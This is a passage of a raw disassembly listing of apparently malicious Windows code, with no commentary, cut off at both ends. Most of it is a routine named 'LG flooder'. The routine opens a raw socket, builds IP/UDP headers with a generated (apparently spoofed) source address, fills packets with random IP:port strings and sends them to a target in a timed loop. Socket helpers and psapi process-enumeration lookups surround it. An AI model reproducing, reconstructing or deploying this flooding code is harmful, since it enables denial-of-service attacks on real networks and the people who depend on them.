[ebp+var_838], eax cmp [ebp+var_838], 0 jz short loc_405217 call ds:dword_417224 ; WSAGetLastError cmp eax, 2733h jz short loc_405217 jmp loc_405193 ; --------------------------------------------------------------------------- loc_405217: ; CODE XREF: sub_4050EA+119j ; sub_4050EA+126j and [ebp+var_828], 0 loc_40521E: ; CODE XREF: sub_4050EA+1AFj and [ebp+var_840], 0 jmp short loc_405234 ; --------------------------------------------------------------------------- loc_405227: ; CODE XREF: sub_4050EA:loc_405259j mov eax, [ebp+var_840] inc eax mov [ebp+var_840], eax loc_405234: ; CODE XREF: sub_4050EA+13Bj mov eax, [ebp+var_840] cmp eax, [ebp+var_828] jnb short loc_40525B mov eax, [ebp+var_840] mov eax, [ebp+eax*4+var_824] cmp eax, [ebp+var_83C] jnz short loc_405259 jmp short loc_40525B ; --------------------------------------------------------------------------- loc_405259: ; CODE XREF: sub_4050EA+16Bj jmp short loc_405227 ; --------------------------------------------------------------------------- loc_40525B: ; CODE XREF: sub_4050EA+156j ; sub_4050EA+16Dj mov eax, [ebp+var_840] cmp eax, [ebp+var_828] jnz short loc_405295 cmp [ebp+var_828], 200h jnb short loc_405295 mov eax, [ebp+var_840] mov ecx, [ebp+var_83C] mov [ebp+eax*4+var_824], ecx mov eax, [ebp+var_828] inc eax mov [ebp+var_828], eax loc_405295: ; CODE XREF: sub_4050EA+17Dj ; sub_4050EA+189j xor eax, eax test eax, eax jnz short loc_40521E lea eax, [ebp+var_834] push eax push 0 lea eax, [ebp+var_828] push eax push 0 push 0 call ds:dword_41722C ; select cmp eax, 1 jnz short loc_4052E0 push 1 push [ebp+var_83C] call sub_404457 pop ecx pop ecx push [ebp+var_82C] call dword_41DE8C ; freeaddrinfo mov eax, [ebp+var_83C] jmp locret_40538B ; --------------------------------------------------------------------------- loc_4052E0: ; CODE XREF: sub_4050EA+1CEj ; sub_4050EA+27Cj and [ebp+var_844], 0 jmp short loc_4052F6 ; --------------------------------------------------------------------------- loc_4052E9: ; CODE XREF: sub_4050EA:loc_405360j mov eax, [ebp+var_844] inc eax mov [ebp+var_844], eax loc_4052F6: ; CODE XREF: sub_4050EA+1FDj mov eax, [ebp+var_844] cmp eax, [ebp+var_828] jnb short loc_405362 mov eax, [ebp+var_844] mov eax, [ebp+eax*4+var_824] cmp eax, [ebp+var_83C] jnz short loc_405360 loc_405319: ; CODE XREF: sub_4050EA+265j mov eax, [ebp+var_828] dec eax cmp [ebp+var_844], eax jnb short loc_405351 mov eax, [ebp+var_844] mov ecx, [ebp+var_844] mov ecx, [ebp+ecx*4+var_820] mov [ebp+eax*4+var_824], ecx mov eax, [ebp+var_844] inc eax mov [ebp+var_844], eax jmp short loc_405319 ; --------------------------------------------------------------------------- loc_405351: ; CODE XREF: sub_4050EA+23Cj mov eax, [ebp+var_828] dec eax mov [ebp+var_828], eax jmp short loc_405362 ; --------------------------------------------------------------------------- loc_405360: ; CODE XREF: sub_4050EA+22Dj jmp short loc_4052E9 ; --------------------------------------------------------------------------- loc_405362: ; CODE XREF: sub_4050EA+218j ; sub_4050EA+274j xor eax, eax test eax, eax jnz loc_4052E0 push [ebp+var_83C] call sub_4053B1 pop ecx jmp loc_405193 ; --------------------------------------------------------------------------- loc_40537D: ; CODE XREF: sub_4050EA+B6j push [ebp+var_82C] call dword_41DE8C ; freeaddrinfo xor eax, eax locret_40538B: ; CODE XREF: sub_4050EA+99j ; sub_4050EA+1F1j leave retn sub_4050EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40538D proc near ; CODE XREF: .text:004020A6p ; .text:004024BDp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 1 push [ebp+arg_0] call ds:dword_417200 ; shutdown push 3E8h call ds:dword_41709C ; Sleep push [ebp+arg_0] call sub_4053B1 pop ecx pop ebp retn sub_40538D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053B1 proc near ; CODE XREF: sub_404279+77p ; sub_40432E+1Cp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call ds:dword_417230 ; closesocket pop ebp retn sub_4053B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053BF proc near ; CODE XREF: .text:00401F94p ; .text:004023BBp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_41720C ; send mov [ebp+var_4], eax mov eax, [ebp+var_4] leave retn sub_4053BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053DC proc near ; CODE XREF: .text:00403EC4p ; sub_405443+21p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_8], 2 jnb short loc_4053F6 push 271Eh call ds:dword_417234 ; WSASetLastError or eax, 0FFFFFFFFh jmp short locret_405441 ; --------------------------------------------------------------------------- loc_4053F6: ; CODE XREF: sub_4053DC+8j push 0 mov eax, [ebp+arg_8] dec eax push eax push [ebp+arg_4] push [ebp+arg_0] call ds:dword_417248 ; recv mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_405418 cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_40541D loc_405418: ; CODE XREF: sub_4053DC+34j mov eax, [ebp+var_4] jmp short locret_405441 ; --------------------------------------------------------------------------- loc_40541D: ; CODE XREF: sub_4053DC+3Aj mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jb short loc_405435 push 271Eh call ds:dword_417234 ; WSASetLastError or eax, 0FFFFFFFFh jmp short locret_405441 ; --------------------------------------------------------------------------- loc_405435: ; CODE XREF: sub_4053DC+47j mov eax, [ebp+arg_4] add eax, [ebp+var_4] and byte ptr [eax], 0 mov eax, [ebp+var_4] locret_405441: ; CODE XREF: sub_4053DC+18j ; sub_4053DC+3Fj ... leave retn sub_4053DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405443 proc near ; CODE XREF: sub_402698+8Dp ; sub_402698+2BEp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push [ebp+arg_C] push [ebp+arg_0] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_40545B xor eax, eax jmp short loc_40546C ; --------------------------------------------------------------------------- loc_40545B: ; CODE XREF: sub_405443+12j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4053DC add esp, 0Ch loc_40546C: ; CODE XREF: sub_405443+16j pop ebp retn sub_405443 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40546E proc near ; CODE XREF: sub_405443+9p ; .text:00410676p ... var_1018 = dword ptr -1018h var_1014 = dword ptr -1014h var_1010 = dword ptr -1010h var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_804 = dword ptr -804h var_800 = dword ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1018h call sub_416BC0 and [ebp+var_804], 0 and [ebp+var_1008], 0 loc_405489: ; CODE XREF: sub_40546E+90j and [ebp+var_1014], 0 jmp short loc_40549F ; --------------------------------------------------------------------------- loc_405492: ; CODE XREF: sub_40546E:loc_4054C1j mov eax, [ebp+var_1014] inc eax mov [ebp+var_1014], eax loc_40549F: ; CODE XREF: sub_40546E+22j mov eax, [ebp+var_1014] cmp eax, [ebp+var_804] jnb short loc_4054C3 mov eax, [ebp+var_1014] mov eax, [ebp+eax*4+var_800] cmp eax, [ebp+arg_0] jnz short loc_4054C1 jmp short loc_4054C3 ; --------------------------------------------------------------------------- loc_4054C1: ; CODE XREF: sub_40546E+4Fj jmp short loc_405492 ; --------------------------------------------------------------------------- loc_4054C3: ; CODE XREF: sub_40546E+3Dj ; sub_40546E+51j mov eax, [ebp+var_1014] cmp eax, [ebp+var_804] jnz short loc_4054FA cmp [ebp+var_804], 200h jnb short loc_4054FA mov eax, [ebp+var_1014] mov ecx, [ebp+arg_0] mov [ebp+eax*4+var_800], ecx mov eax, [ebp+var_804] inc eax mov [ebp+var_804], eax loc_4054FA: ; CODE XREF: sub_40546E+61j ; sub_40546E+6Dj xor eax, eax test eax, eax jnz short loc_405489 loc_405500: ; CODE XREF: sub_40546E+107j and [ebp+var_1018], 0 jmp short loc_405516 ; --------------------------------------------------------------------------- loc_405509: ; CODE XREF: sub_40546E:loc_405538j mov eax, [ebp+var_1018] inc eax mov [ebp+var_1018], eax loc_405516: ; CODE XREF: sub_40546E+99j mov eax, [ebp+var_1018] cmp eax, [ebp+var_1008] jnb short loc_40553A mov eax, [ebp+var_1018] mov eax, [ebp+eax*4+var_1004] cmp eax, [ebp+arg_0] jnz short loc_405538 jmp short loc_40553A ; --------------------------------------------------------------------------- loc_405538: ; CODE XREF: sub_40546E+C6j jmp short loc_405509 ; --------------------------------------------------------------------------- loc_40553A: ; CODE XREF: sub_40546E+B4j ; sub_40546E+C8j mov eax, [ebp+var_1018] cmp eax, [ebp+var_1008] jnz short loc_405571 cmp [ebp+var_1008], 200h jnb short loc_405571 mov eax, [ebp+var_1018] mov ecx, [ebp+arg_0] mov [ebp+eax*4+var_1004], ecx mov eax, [ebp+var_1008] inc eax mov [ebp+var_1008], eax loc_405571: ; CODE XREF: sub_40546E+D8j ; sub_40546E+E4j xor eax, eax test eax, eax jnz short loc_405500 mov eax, [ebp+arg_4] xor edx, edx mov ecx, 3E8h div ecx mov [ebp+var_1010], eax mov eax, [ebp+arg_4] xor edx, edx mov ecx, 3E8h div ecx imul edx, 3E8h mov [ebp+var_100C], edx lea eax, [ebp+var_1010] push eax lea eax, [ebp+var_1008] push eax push 0 lea eax, [ebp+var_804] push eax push 1 call ds:dword_41722C ; select cmp eax, 1 jz short loc_4055C9 xor eax, eax jmp short locret_4055E3 ; --------------------------------------------------------------------------- loc_4055C9: ; CODE XREF: sub_40546E+155j lea eax, [ebp+var_804] push eax push [ebp+arg_0] call sub_416E30 ; __WSAFDIsSet test eax, eax jz short loc_4055E1 push 1 pop eax jmp short locret_4055E3 ; --------------------------------------------------------------------------- loc_4055E1: ; CODE XREF: sub_40546E+16Cj xor eax, eax locret_4055E3: ; CODE XREF: sub_40546E+159j ; sub_40546E+171j leave retn sub_40546E endp ; --------------------------------------------------------------------------- loc_4055E5: ; DATA XREF: sub_405E45+113o push ebp mov ebp, esp mov eax, 1358h call sub_416BC0 push 2B9h push dword ptr [ebp+8] lea eax, [ebp-1334h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx push 0FFh push 3 push 2 call ds:dword_417218 ; socket mov [ebp-1078h], eax cmp dword ptr [ebp-1078h], 0FFFFFFFFh jnz short loc_405643 push dword ptr [ebp-1334h] call sub_409763 pop ecx xor eax, eax jmp locret_405E41 ; --------------------------------------------------------------------------- loc_405643: ; CODE XREF: .text:0040562Ej mov dword ptr [ebp-1340h], 1 push 4 lea eax, [ebp-1340h] push eax push 2 push 0 push dword ptr [ebp-1078h] call ds:dword_417204 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_40567E push dword ptr [ebp-1334h] call sub_409763 pop ecx xor eax, eax jmp locret_405E41 ; --------------------------------------------------------------------------- loc_40567E: ; CODE XREF: .text:00405669j push 0 push dword ptr [ebp-1078h] call sub_404457 pop ecx pop ecx push 10h push 0 lea eax, [ebp-10h] push eax call sub_416B6A ; memset add esp, 0Ch mov word ptr [ebp-10h], 2 lea eax, [ebp-108Dh] push eax call sub_416B9C ; atoi pop ecx push eax call ds:dword_417238 ; htons mov [ebp-0Eh], ax lea eax, [ebp-118Dh] push eax call ds:dword_417244 ; inet_addr mov [ebp-0Ch], eax cmp dword ptr [ebp-0Ch], 0FFFFFFFFh jnz short loc_405710 lea eax, [ebp-118Dh] push eax call ds:dword_41723C ; gethostbyname mov [ebp-1344h], eax cmp dword ptr [ebp-1344h], 0 jnz short loc_405700 push dword ptr [ebp-1334h] call sub_409763 pop ecx xor eax, eax jmp locret_405E41 ; --------------------------------------------------------------------------- loc_405700: ; CODE XREF: .text:004056EBj mov eax, [ebp-1344h] mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp-0Ch], eax loc_405710: ; CODE XREF: .text:004056CFj cmp dword ptr [ebp-0Ch], 0FFFFFFFFh jnz short loc_405729 push dword ptr [ebp-1334h] call sub_409763 pop ecx xor eax, eax jmp locret_405E41 ; --------------------------------------------------------------------------- loc_405729: ; CODE XREF: .text:00405714j push 1060h push 0 lea eax, [ebp-1074h] push eax call sub_416B6A ; memset add esp, 0Ch lea eax, [ebp-1074h] mov [ebp-133Ch], eax lea eax, [ebp-1058h] mov [ebp-14h], eax mov eax, [ebp-133Ch] mov al, [eax] and al, 0F0h or al, 5 mov ecx, [ebp-133Ch] mov [ecx], al mov eax, [ebp-133Ch] mov al, [eax] and al, 0Fh or al, 40h mov ecx, [ebp-133Ch] mov [ecx], al mov eax, [ebp-133Ch] mov byte ptr [eax+9], 11h mov eax, [ebp-133Ch] mov ecx, [ebp-0Ch] mov [eax+10h], ecx mov eax, [ebp-133Ch] mov cx, [ebp-0Eh] mov [eax+16h], cx and dword ptr [ebp-1338h], 0 jmp short loc_4057B6 ; --------------------------------------------------------------------------- loc_4057A9: ; CODE XREF: .text:loc_405E22j mov eax, [ebp-1338h] inc eax mov [ebp-1338h], eax loc_4057B6: ; CODE XREF: .text:004057A7j mov eax, [ebp-1338h] cmp eax, [ebp-1087h] jge loc_405E27 mov eax, [ebp-107Fh] mov [ebp-1358h], eax cmp dword ptr [ebp-1358h], 1 jz short loc_4057FC cmp dword ptr [ebp-1358h], 2 jz loc_405924 cmp dword ptr [ebp-1358h], 3 jz loc_405A11 jmp loc_405C71 ; --------------------------------------------------------------------------- loc_4057FC: ; CODE XREF: .text:004057DBj push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU ; "%u\r\n" push dword ptr [ebp-14h] call sub_416B5E ; sprintf add esp, 0Ch loc_40581E: ; CODE XREF: .text:004058A4j push dword ptr [ebp-14h] call sub_416B40 ; strlen pop ecx cmp eax, 7D0h jnb short loc_4058A9 push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push dword ptr [ebp-14h] call sub_416B40 ; strlen pop ecx mov ecx, [ebp-14h] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_40581E ; --------------------------------------------------------------------------- loc_4058A9: ; CODE XREF: .text:0040582Cj push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push offset aU_U_U_UU_0 ; "%u.%u.%u.%u:%u" push dword ptr [ebp-14h] call sub_416B40 ; strlen pop ecx mov ecx, [ebp-14h] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_405C93 ; --------------------------------------------------------------------------- loc_405924: ; CODE XREF: .text:004057E4j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU ; "%u\r\n" push dword ptr [ebp-14h] call sub_416B5E ; sprintf add esp, 0Ch loc_405946: ; CODE XREF: .text:004059B0j push dword ptr [ebp-14h] call sub_416B40 ; strlen pop ecx cmp eax, 7D0h jnb short loc_4059B2 push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push dword ptr [ebp-14h] call sub_416B40 ; strlen pop ecx mov ecx, [ebp-14h] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp short loc_405946 ; --------------------------------------------------------------------------- loc_4059B2: ; CODE XREF: .text:00405954j push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push offset aU_U_U_UU_0 ; "%u.%u.%u.%u:%u" push dword ptr [ebp-14h] call sub_416B40 ; strlen pop ecx mov ecx, [ebp-14h] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_405C93 ; --------------------------------------------------------------------------- loc_405A11: ; CODE XREF: .text:004057F1j push 2 push 0 call sub_4103F5 pop ecx pop ecx mov [ebp-134Ch], eax cmp dword ptr [ebp-134Ch], 0 jnz short loc_405A52 push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU_0 ; "%u" push dword ptr [ebp-14h] call sub_416B5E ; sprintf add esp, 0Ch jmp loc_405C6F ; --------------------------------------------------------------------------- loc_405A52: ; CODE XREF: .text:00405A29j cmp dword ptr [ebp-134Ch], 1 jnz loc_405B87 push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU ; "%u\r\n" push dword ptr [ebp-14h] call sub_416B5E ; sprintf add esp, 0Ch loc_405A81: ; CODE XREF: .text:00405B07j push dword ptr [ebp-14h] call sub_416B40 ; strlen pop ecx cmp eax, 7D0h jnb short loc_405B0C push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push dword ptr [ebp-14h] call sub_416B40 ; strlen pop ecx mov ecx, [ebp-14h] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_405A81 ; --------------------------------------------------------------------------- loc_405B0C: ; CODE XREF: .text:00405A8Fj push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push offset aU_U_U_UU_0 ; "%u.%u.%u.%u:%u" push dword ptr [ebp-14h] call sub_416B40 ; strlen pop ecx mov ecx, [ebp-14h] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_405C6F ; --------------------------------------------------------------------------- loc_405B87: ; CODE XREF: .text:00405A59j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU ; "%u\r\n" push dword ptr [ebp-14h] call sub_416B5E ; sprintf add esp, 0Ch loc_405BA9: ; CODE XREF: .text:00405C13j push dword ptr [ebp-14h] call sub_416B40 ; strlen pop ecx cmp eax, 7D0h jnb short loc_405C15 push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push dword ptr [ebp-14h] call sub_416B40 ; strlen pop ecx mov ecx, [ebp-14h] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp short loc_405BA9 ; --------------------------------------------------------------------------- loc_405C15: ; CODE XREF: .text:00405BB7j push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push offset aU_U_U_UU_0 ; "%u.%u.%u.%u:%u" push dword ptr [ebp-14h] call sub_416B40 ; strlen pop ecx mov ecx, [ebp-14h] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch loc_405C6F: ; CODE XREF: .text:00405A4Dj ; .text:00405B82j jmp short loc_405C93 ; --------------------------------------------------------------------------- loc_405C71: ; CODE XREF: .text:004057F7j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU_0 ; "%u" push dword ptr [ebp-14h] call sub_416B5E ; sprintf add esp, 0Ch loc_405C93: ; CODE XREF: .text:0040591Fj ; .text:00405A0Cj ... push dword ptr [ebp-14h] call sub_416B40 ; strlen pop ecx mov [ebp-1354h], eax and dword ptr [ebp-1350h], 0 jmp short loc_405CB8 ; --------------------------------------------------------------------------- loc_405CAB: ; CODE XREF: .text:00405CDEj mov eax, [ebp-1350h] inc eax mov [ebp-1350h], eax loc_405CB8: ; CODE XREF: .text:00405CA9j mov eax, [ebp-1350h] cmp eax, [ebp-1354h] jnb short loc_405CE0 mov eax, [ebp-14h] add eax, [ebp-1350h] mov al, [eax] shl al, 1 mov ecx, [ebp-14h] add ecx, [ebp-1350h] mov [ecx], al jmp short loc_405CAB ; --------------------------------------------------------------------------- loc_405CE0: ; CODE XREF: .text:00405CC4j mov eax, [ebp-1354h] add eax, 1Ch push eax call ds:dword_417238 ; htons mov ecx, [ebp-133Ch] mov [ecx+2], ax call sub_41043F push eax call ds:dword_417238 ; htons mov ecx, [ebp-133Ch] mov [ecx+4], ax call sub_410483 neg eax sbb eax, eax and al, 0C0h add eax, 80h mov ecx, [ebp-133Ch] mov [ecx+8], al push 2 push offset dword_41EF48 call ds:dword_417244 ; inet_addr push eax call sub_4040E8 pop ecx pop ecx mov ecx, [ebp-133Ch] mov [ecx+0Ch], eax mov eax, [ebp-1354h] add eax, 14h push eax push dword ptr [ebp-133Ch] call sub_40407D pop ecx pop ecx mov ecx, [ebp-133Ch] mov [ecx+0Ah], ax movzx eax, word ptr [ebp-0Eh] test eax, eax jnz short loc_405D7F call sub_41043F mov ecx, [ebp-133Ch] mov [ecx+16h], ax loc_405D7F: ; CODE XREF: .text:00405D6Ej push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx push eax call ds:dword_417238 ; htons mov ecx, [ebp-133Ch] mov [ecx+14h], ax mov eax, [ebp-1354h] add eax, 8 push eax call ds:dword_417238 ; htons mov ecx, [ebp-133Ch] mov [ecx+18h], ax push 10h lea eax, [ebp-10h] push eax push 0 mov eax, [ebp-1354h] add eax, 1Ch push eax lea eax, [ebp-1074h] push eax push dword ptr [ebp-1078h] call ds:dword_417250 ; sendto mov [ebp-1348h], eax cmp dword ptr [ebp-1348h], 0FFFFFFFFh jnz short loc_405E08 push dword ptr [ebp-1334h] call sub_409763 pop ecx push dword ptr [ebp-1078h] call sub_4053B1 pop ecx xor eax, eax jmp short locret_405E41 ; --------------------------------------------------------------------------- loc_405E08: ; CODE XREF: .text:00405DEAj push dword ptr [ebp-1083h] call ds:dword_41709C ; Sleep mov eax, [ebp-1334h] cmp dword ptr [eax+4], 0 jz short loc_405E22 jmp short loc_405E27 ; --------------------------------------------------------------------------- loc_405E22: ; CODE XREF: .text:00405E1Ej jmp loc_4057A9 ; --------------------------------------------------------------------------- loc_405E27: ; CODE XREF: .text:004057C2j ; .text:00405E20j push dword ptr [ebp-1078h] call sub_4053B1 pop ecx push dword ptr [ebp-1334h] call sub_409763 pop ecx xor eax, eax locret_405E41: ; CODE XREF: .text:0040563Ej ; .text:00405679j ... leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405E45 proc near ; CODE XREF: sub_40A9CF+8B2p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_4], 0 jz short loc_405E5D cmp [ebp+arg_8], 0 jz short loc_405E5D cmp [ebp+arg_14], 0 jnz short loc_405E62 loc_405E5D: ; CODE XREF: sub_405E45+Aj ; sub_405E45+10j jmp locret_405F65 ; --------------------------------------------------------------------------- loc_405E62: ; CODE XREF: sub_405E45+16j push 2B9h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_405E7B jmp locret_405F65 ; --------------------------------------------------------------------------- loc_405E7B: ; CODE XREF: sub_405E45+2Fj push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push 100h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 1A7h push eax call sub_407A56 add esp, 0Ch push 6 push [ebp+arg_8] mov eax, [ebp+var_4] add eax, 2A7h push eax call sub_407A56 add esp, 0Ch push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov ecx, [ebp+var_4] mov [ecx+2ADh], eax push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov ecx, [ebp+var_4] mov [ecx+2B1h], eax push [ebp+arg_14] call sub_416B9C ; atoi pop ecx mov ecx, [ebp+var_4] mov [ecx+2B5h], eax mov eax, [ebp+var_4] cmp dword ptr [eax+2B1h], 0EA60h jge short loc_405F0E mov eax, [ebp+var_4] mov eax, [eax+2B1h] mov [ebp+var_8], eax jmp short loc_405F15 ; --------------------------------------------------------------------------- loc_405F0E: ; CODE XREF: sub_405E45+B9j mov [ebp+var_8], 0EA60h loc_405F15: ; CODE XREF: sub_405E45+C7j mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov [eax+2B1h], ecx mov eax, [ebp+var_4] cmp dword ptr [eax+2B1h], 64h jle short loc_405F3B mov eax, [ebp+var_4] mov eax, [eax+2B1h] mov [ebp+var_C], eax jmp short loc_405F42 ; --------------------------------------------------------------------------- loc_405F3B: ; CODE XREF: sub_405E45+E6j mov [ebp+var_C], 64h loc_405F42: ; CODE XREF: sub_405E45+F4j mov eax, [ebp+var_4] mov ecx, [ebp+var_C] mov [eax+2B1h], ecx push offset aLgFlooder ; "LG flooder" push 0 push [ebp+var_4] push offset loc_4055E5 call sub_4095A4 add esp, 10h locret_405F65: ; CODE XREF: sub_405E45:loc_405E5Dj ; sub_405E45+31j leave retn sub_405E45 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405F67 proc near ; CODE XREF: sub_4017AA+6Ep ; sub_401D6E+77p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_4], 0 jnz short loc_405F8E push 1A3h push 0 push [ebp+arg_0] call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_0] mov byte ptr [eax+198h], 1 jmp short loc_405FA1 ; --------------------------------------------------------------------------- loc_405F8E: ; CODE XREF: sub_405F67+7j push 1A3h push [ebp+arg_4] push [ebp+arg_0] call sub_416B52 ; memcpy add esp, 0Ch loc_405FA1: ; CODE XREF: sub_405F67+25j pop ebp retn sub_405F67 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405FA3 proc near ; CODE XREF: .text:004168C1p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push offset dword_41E2B0 call sub_409C36 pop ecx push offset aPsapi_dll ; "psapi.dll" call ds:dword_417054 ; LoadLibraryA mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_405FC8 jmp short locret_40603F ; --------------------------------------------------------------------------- loc_405FC8: ; CODE XREF: sub_405FA3+21j push offset aEnumprocesses ; "EnumProcesses" push [ebp+var_4] call ds:dword_417058 ; GetProcAddress mov dword_41E2AC, eax push offset aEnumprocessmod ; "EnumProcessModules" push [ebp+var_4] call ds:dword_417058 ; GetProcAddress mov dword_41E2A0, eax push offset aGetmodulefilen ; "GetModuleFileNameExA" push [ebp+var_4] call ds:dword_417058 ; GetProcAddress mov dword_41E2A4, eax push offset aGetmoduleinfor ; "GetModuleInformation" push [ebp+var_4] call ds:dword_417058 ; GetProcAddress mov dword_41E2A8, eax cmp dword_41E2AC, 0 jz short locret_40603F cmp dword_41E2A0, 0 jz short locret_40603F cmp dword_41E2A4, 0 jz short locret_40603F cmp dword_41E2A8, 0 jz short locret_40603F mov byte_41E2CC, 1 locret_40603F: ; CODE XREF: sub_405FA3+23j ; sub_405FA3+78j ... leave retn sub_405FA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406041 proc near ; CODE XREF: .text:loc_40129Dp ; .text:004063A5p var_13C = dword ptr -13Ch var_138 = dword ptr -138h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_12B = byte ptr -12Bh var_28 = 